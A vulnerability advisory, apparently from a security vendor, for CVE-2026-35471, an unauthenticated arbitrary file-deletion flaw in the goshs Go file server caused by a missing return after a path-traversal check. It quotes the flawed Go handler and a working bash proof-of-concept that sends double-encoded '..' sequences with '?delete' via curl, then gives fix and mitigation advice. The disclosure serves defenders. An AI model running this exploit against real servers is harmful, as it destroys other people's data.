CVE-2026-35471 is a critical-severity (CVSS 9.8) Path Traversal vulnerability in github.com/patrickhener/goshs. A fix is available for github.com/patrickhener/goshs — see the affected versions and patch details below.
Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') in goshs
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.
- A successful exploit gives an attacker total control of the affected component, not partial access.
Exploitation and automatability from CISA’s SSVC triage for CVE-2026-35471.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
How urgent is this, really
CVE-2026-35471 plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.
Where this sits among everything scored
Of 378,567 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.
Real-World Exposure
github.com/patrickhener/goshsReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.
Description
Summary
deleteFile()missing return after path traversal check |httpserver/handler.go:645-671
The finding affects the default configuration, no flags or authentication required.
Details
File: httpserver/handler.go:645-671
Trigger: GET /<path>?delete (handler.go:157-160 dispatches to deleteFile)
The function detects .. in the decoded path but does not return.
func (fs *FileServer) deleteFile(w http.ResponseWriter, req *http.Request) {
upath := filepath.FromSlash(filepath.Clean("/" + strings.Trim(req.URL.Path, "/")))
fileCleaned, _ := url.QueryUnescape(upath)
if strings.Contains(fileCleaned, "..") {
w.WriteHeader(500)
_, err := w.Write([]byte("Cannot delete file"))
if err != nil {
logger.Errorf("error writing answer to client: %+v", err)
}
// BUG: no return, falls through to os.RemoveAll
}
deletePath := filepath.Join(fs.Webroot, fileCleaned)
err := os.RemoveAll(deletePath) // always executes
Root causes:
Missing return after the guard makes the check dead code
Impact: Unauthenticated arbitrary file/directory deletion.
PoCs:
#!/usr/bin/env bash
# Delete an arbitrary file/directory on a running goshs instance.
# Usage: ./arbitrary_delete.sh <host> <port> <absolute-path-to-delete>
set -euo pipefail
HOST="${1:?Usage: $0 <host> <port> <absolute-path-to-delete>}"
PORT="${2:?Usage: $0 <host> <port> <absolute-path-to-delete>}"
TARGET="${3:?Usage: $0 <host> <port> <absolute-path-to-delete>}"
# Double-encode ".." => %252e%252e
# We don't know the webroot depth, so use 16 levels (covers most paths).
TRAVERSAL=""
for _ in $(seq 1 16); do
TRAVERSAL="${TRAVERSAL}%252e%252e/"
done
# Strip leading / from target and URL-encode any special chars
TARGET_REL="${TARGET#/}"
ENCODED_TARGET=$(python3 -c "import urllib.parse; print(urllib.parse.quote('$TARGET_REL', safe='/'))")
URL="http://${HOST}:${PORT}/${TRAVERSAL}${ENCODED_TARGET}?delete"
echo "[*] Target: ${TARGET}"
echo "[*] Request: GET ${URL}"
echo ""
HTTP_CODE=$(curl -s -o /dev/null -w "%{http_code}" "$URL")
echo "[*] HTTP ${HTTP_CODE}"
To execute it: ./arbitrary_delete.sh 10.1.2.2 8000 /tmp/canary
Recommendations
Checking that the targeted file is part of the webroot could prevent these attacks. Also, ensure that the method return is called after every error response.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐹Go | github.com/patrickhener/goshs | all versions | 1.1.5-0.20260401172448-237f3af891a9go get github.com/patrickhener/goshs@v1.1.5-0.20260401172448-237f3af891a9 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for github.com/patrickhener/goshs, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update github.com/patrickhener/goshs to 1.1.5-0.20260401172448-237f3af891a9 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-35471 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like CVE-2026-35471 can be triaged on real exposure rather than presence alone.
Tailored to CVE-2026-35471. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is CVE-2026-35471 in your dependencies?
O3 Security finds CVE-2026-35471 across Go dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.